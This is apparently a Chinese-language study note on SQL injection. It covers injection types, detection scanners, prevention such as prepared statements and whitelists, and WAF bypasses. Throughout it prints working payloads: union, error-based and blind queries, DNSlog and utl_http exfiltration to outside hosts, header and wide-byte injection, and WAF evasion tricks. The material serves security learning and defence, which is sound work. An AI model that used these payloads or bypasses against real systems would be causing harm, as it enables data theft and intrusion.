SQL注入 - 安全宏观101
一、原理
用户传入的参数使用拼接的方式请求数据库,攻击者通过闭合方式控制数据库查询想要的结果
二、危害
- 数据泄露
- RCE
- 通过into outfile、dumpfile(用于二进制文件)写webshell(有secure_file_priv限制)
- 通过开启general_log日志的方式写webshell(没有secure_file_priv限制)
- 读文件
- 1 union select 1,2,load data local infile(‘D://test.txt’)–+
- 1 union select 1,2,load_file(‘D://test.txt’)–+
- 文件写入
- select .. into outfile
- SSRF
- 调用请求url函数
- windows系统下可以利用unc发起网络请求,结合responder可以获取到连接者的Net-NTLM hash
三、类型
判断注入点
-
有回显
-
联合查询
- union select,合并结果 爆出显示位
- select sum(username) from user group by id
union select username from user
-
报错注入
- 利用报错信息得到查询的结果
- floor(),取整、updatexml()和extractvalue(),xpath语法错误。exp(),GeometryCollection(),polygon(),multipoint(),multilinestring(),linestring(),multipolygon()
- select username from user where id=1
and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
- 利用报错信息得到查询的结果
-
-
无回显(盲注)
-
布尔
- 基于逻辑判断的真和假(比如通过substr、mid函数截取字符串)
- select username from user where id=1
and ascii(substr(database(),1,1))=106
-
延迟
-
sleep:睡眠时间
- select username from user where id=200
or if(length(database())=11,sleep(1),1)
- select username from user where id=200
-
benchmark:消耗计算资源产生延时效果
-
笛卡儿积:消耗计算资源产生延时效果
-
get_lock:开两个session,并使用get_lock函数加锁,观察延时的时间
-
-
dnslog注入(利用dnslog注入来提高盲注的效率,时间盲注和布尔盲注,效率慢,适用于数据量小的时候,数据量大容易跑挂网站)
-
原理:DNS查询时会产生DNS日志,我们可以在DNS日志中获取数据。
-
mysql
- 没有secure_file_priv的限制,用于联合注入或堆叠注入
- mysql下的dnslog注入,利用的是windows的unc,所以linux系统无法成功,查询的数据中有特殊符号时,可使用 hex() 函数外带
- id=1
and load_file(concat('\\\\',hex((select database())),'.xxx.ceye.io\\abc'))--+
- id=1
-
oracle
- oracle数据库有内置方法可以发送dns请求,不受操作系统的影响。
- UTL_HTTP.REQUEST、DBMS_LDAP.INIT、HTTPURITYPE
- select x from x where id=1
and utl_http.request('http://192.168.5.28:2019/'||(select banner from sys.v_$version where rownum=1))=1--
- select x from x where id=1
-
mssql、postgreSQL
- 仅适用堆叠注入
-
-
-
特殊的
-
堆叠(只有数据库和数据库函数支持执行多条sql语句时才行)
- select * from user
; insert into user (username,password) value ('test','123')
- select * from user
-
二次注入
- 注册一个名叫 admin’# 的用户
- 执行修改密码:update users set password=’$new_pass’ where username=’$user’ and password=’$old_pass’;
- 带入用户名后的SQL是:update users set password=’$new_pass’ where username=’
admin'#
and password=’$old_pass’;
-
内联注入
- 内联查询(Inline Queries)SELECT statemnt FROM (SELECT statement);
- FROM后面跟着的部分是一个 SELECT查询子句,这个子句产生的结果会保存在 内联视图(Inline View)中。视图和表的结构一样但没有实际存储的数据,它建立在其他的表或者视图上
- 内联查询通常用于和其它方法结合使用,如在报错注入中就很常用到内联查询:
- id=1
' AND (SELECT 7430 FROM(SELECT COUNT(*),CONCAT(0x7178787071,(SELECT (ELT(7430=7430,1))),0x716a6b7a71,FLOOR(RAND(0)*2))x FROM
-
四、易发场景
-
产生漏洞的本质原因是什么
- 未对用户输入进行充分的验证和过滤,导致恶意用户在输入中嵌入了操纵数据库的恶意代码
-
研发在什么情况易写出这类问题
-
【不能预编译】字段名、表名
- 字段名:Order by(排序)、 GROUP BY(分组计算)、SELECT、 ON、 HAVING(GROUP BY分组结果的条件筛选)
- 表名: FROM、 JOIN
-
【不想预编译】取数服务(报表平台),允许SQL片段传入
-
解决方法:改造,不信任任何参数,抽象好方法,提供给上游调用
-
1 2 3 4 5 6 7 8 9 10 11 12
// 抽象方法 DTO { private String key; private String value; toSql(){ checkSQL(key); putMap(1, value); } } // 上游调用 { key: 'name', value: 'zhangsan'}
-
-
【特殊场景】XFF(X-Forwarded-For)是header请求头中的一个参数是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。代表了HTTP的请求端真实的IP。服务器端会对XFF信息进行记录,但没有进行过滤处理,就容易导致sql注入的产生
-
1 2 3 4 5 6 7 8 9 10 11 12 13
// 浏览器IP,第一个代理服务器,第二个三个四个等等 X-Forwarded-For: client1, proxy1, proxy2, proxy3 // 注入 X-Forwarded-for: 127.0.0.1' and 1=1# // 服务器判断真实地址的参数有时不一定是XFF,可能是以下几个参数 x-forwarded-fot x-remote-IP x-originating-IP x-remote-ip x-remote-addr x-client-IP x-client-ip x-Real-ip
-
-
五、发现方法
-
黑盒扫描器
-
数据采集模块
- 被动(与burp联动被动获取流量)
- 主动(主动爬取数据获取流量)
- 指定(指定url或数据包)
-
安全测试模块
-
现成工具:引入SQLMapApi
-
手动开发(参考sqlmap)
-
链接测试:是否能正常访问,页面相似度是否为动态的(每次访问页面的元素变化)
- 动态:寻找动态内容标记出来,方便后面对比时移除
-
注入检测:
-
启发式检测,让web报错回显快速识别dbms
-
发送
"
'
)
(
,
.
随机组合(满足单双引号只有一个),看看是否有转型错误报错 -
布尔盲注:
- 发送逻辑真,相似
- 发送逻辑假,不相似
-
报错注入:
- 发送flag,正则匹配回显内容验证
-
时间盲注
- 计算正常访问时间,加上延时的时间,是否在期望时间范围内
-
联合查询
- 猜解列数,利用与模版页面比较的内容相似度寻找最最不同的那一个请求。
-
-
-
-
-
-
白盒扫描器
-
orm框架数据流,如checkmarx检查mybatis注入,无法找到sink
- 检测xml文件是否是mybatis的定义文件
- 检测所有的sql节点,并递归(sql节点中可能也有sql节点)将sql节点的内容存到字典中,得到SQL
- 正则匹配SQL中的${的内容,如果有匹配,记下其节点id
- 通过FindByMemberAccess(namespace + ‘.’+ id),直接找到方法使用(而不是interface,因为mybatis的解析xml引号莫名其妙转成实体编码),也不考虑参数位置(因为变量名没法对应)
- 将找到的参数作为sink点,之后走正常的数据流构建即可。
-
Source点到Sink点的执行路径是可达的,而且执行过程中没有经过有效的Sanitize
-
除了逻辑漏洞外,其他均可归类为sink点可定义的安全漏洞
-
-
灰盒扫描器
- 会在SQL执行函数上面插入桩代码
- 业务线程Hook到用户请求,Hook到SQL执行函数,放在ThreadLocal变量中
- 当HTTP请求结束读取ThreadLocal请求信息和Hook信息,发给扫描器
- 扫描器会修改请求,插入单引号和flag并发送,单引号和flag达了桩代码,说明存在安全问题(没有Sanitize)
-
监控
- 监控SQL日志平台,平台SQL日志出现的引号为单数时存在SQL注入
六、修复方案
-
黑:流量侧怎么管控
- waf:存在SQL特征的数据包、存在注入语句如(参考Druid)
- 系统级表information_schema.columns
- 系统级变量@@version
- 系统函数load_file等语句
- SQL注释
- sig3:使数据包无法篡改
- waf:存在SQL特征的数据包、存在注入语句如(参考Druid)
-
白:逐渐降级方案:
-
预编译: where value 值、limit offset 和 total 值、insert value 值、update value 值
-
枚举校验: 排序方式、表名、列名、函数(例如 SUM,COUNT,MAX 等)
-
白名单校验: 表名、列名
- 表名、单列名: ^[a-zA-Z0-9-_.*]+$ 大小写字母、数字、减号、下划线、点、星号
- 多列名:上述加逗号
-
特殊字符转义:
'
"
,
;
(
)
|
#
/
\
&
=
+
<
>
!
\0
-
转义
‘
“
\0
再在首尾添加单引号 ,确保拼接进的是字符串
-
-
灰:rasp
- 通过 raw sql 获取这些 gap 的长度,gap长度将用于协助判断parsed sql结构是否发生变化
- 如果 raw sql 与 parsed sql 的 gap 数量或内容不一致,则认为SQL发生变化。
七、绕过方法
-
从架构层面: 找到服务器真实IP,同网段绕过、http和https同时开放服务绕过、边缘资产漏洞利用绕过。
-
从协议层面:
-
分块传输
- Transfer-Encoding为chunked,表示将用chunked编码传输内容,将数据包分成多个块
-
延时分块传输
-
目前很多WAF都已经支持WAF分块传输检测
- WAF一般通过以下步骤检测分块传输内容:
- 发现数据包是分块传输,启动分块传输线程进行接收
- 分块传输线程不断接收客户端传来的分块,直到接收到0\r\n\r\n
- 将所有分块合并,并检测合并之后的内容
- WAF一般通过以下步骤检测分块传输内容:
-
chunked-coding-converter 插件实现了在上一块传输完成后,sleep一段时间,再发送下一块。 目的是延长WAF分块传输线程的等待时间,从而消耗WAF性能。
-
注意:块与块之间发送的间隔时间必须要小于后端中间件的post timeout,Tomcat默认是20s,weblogic是30s。
-
-
利用pipline绕过
- 当发送内容超过一个 http 包容量时,需要分多次发送,Connection值会变成 keep-alive(即本次发起的 http 请求所建立的 tcp 连接不断开,直到所发送内容结束 Connection 为 close 为止)
- 用 burpsuite 抓包提交,复制整个包信息放在第一个包最后,把第一个包 close 改成 keep-alive 把 brupsuite 自动更新 Content-Length 勾去掉。
- 有的waf不检测第一个包,只检测第二个包。
-
利用协议未覆盖绕过
-
在 http 头里的 Content-Type 提交表单支持四种协议:
- application/x-www-form-urlencoded -编码模式、multipart/form-data -文件上传模式、text/plain -文本模式、application/json -json模式
- 文件头的属性是传输前对提交的数据进行编码发送到服务器。其中 multipart/form-data 表示该数据被编码为一条消息,页上的每个控件对应消息中的一个部分。所以,当 waf 没有规则匹配该协议传输的数据时可被绕过。
-
-
POST及GET提交绕过。
-
-
从规则层面:
-
编码绕过
-
char、hex
-
等价符号替换绕过
-
普通注释和内敛注释
-
mysql黑魔法
- select{x user}from{x mysql.user}
-
参数污染等。
-
宽字节注入
- ?id=1%df’ and 1=1–+ 单引号会被转义 ?id=1%df' and 1=1–+(\的十六进制为%5c)
- %df%5c’ 认成 縗’(mysql使用GBK时。GBK编码特性:两个字符的前一个字符ASCII码大于128时,会将两个字符认成一个汉字)
-
-
资源限制角度绕过WAF
-
超大数据包绕过
- 这是众所周知、而又难以解决的问题。如果HTTP请求POST BODY太大,检测所有的内容,WAF集群消耗太大的CPU、内存资源。因此许多WAF只检测前面的几K字节、1M、或2M。对于攻击者而然,只需要在POST BODY前面添加许多无用数据,把攻击payload放在最后即可绕过WAF检测。
- 并发绕过
-
八、怎么治理
-
体系化治理方案是啥
- 编码:ide插件
- Merge:新增代码监控
- 构建:白盒扫描
- 测试:iast、人工评估
- 生产:waf、SQL日志监控binlog
九、常见问题
-
预编译原理
-
预编译将一次查询通过两次交互完成
- 第一次交互发送查询语句的模板,由后端的SQL引擎进行解析为AST或Opcode
- 第二次交互发送数据,代入AST或Opcode中执行,无论后续向模板传入什么参数,这些参数仅仅被当成字符串进行查询处理,因此杜绝了sql注入的产生。
-
-
DBMS识别
-
字符串连接符
- mysql:page.php?id=’ ‘mysql’ —
- Oracle:page.jsp?id=’||’oracle’ —
-
版本查询
- mysql:product.php?id=’ UNION SELECT @@version —
- Oracle:page.jsp?id=’UNION SELECT 1 FROM v$version —
- sql server:page.asp?id=sql’; SELECT @@SERVERNAME —
-
报错
-
待补充…
-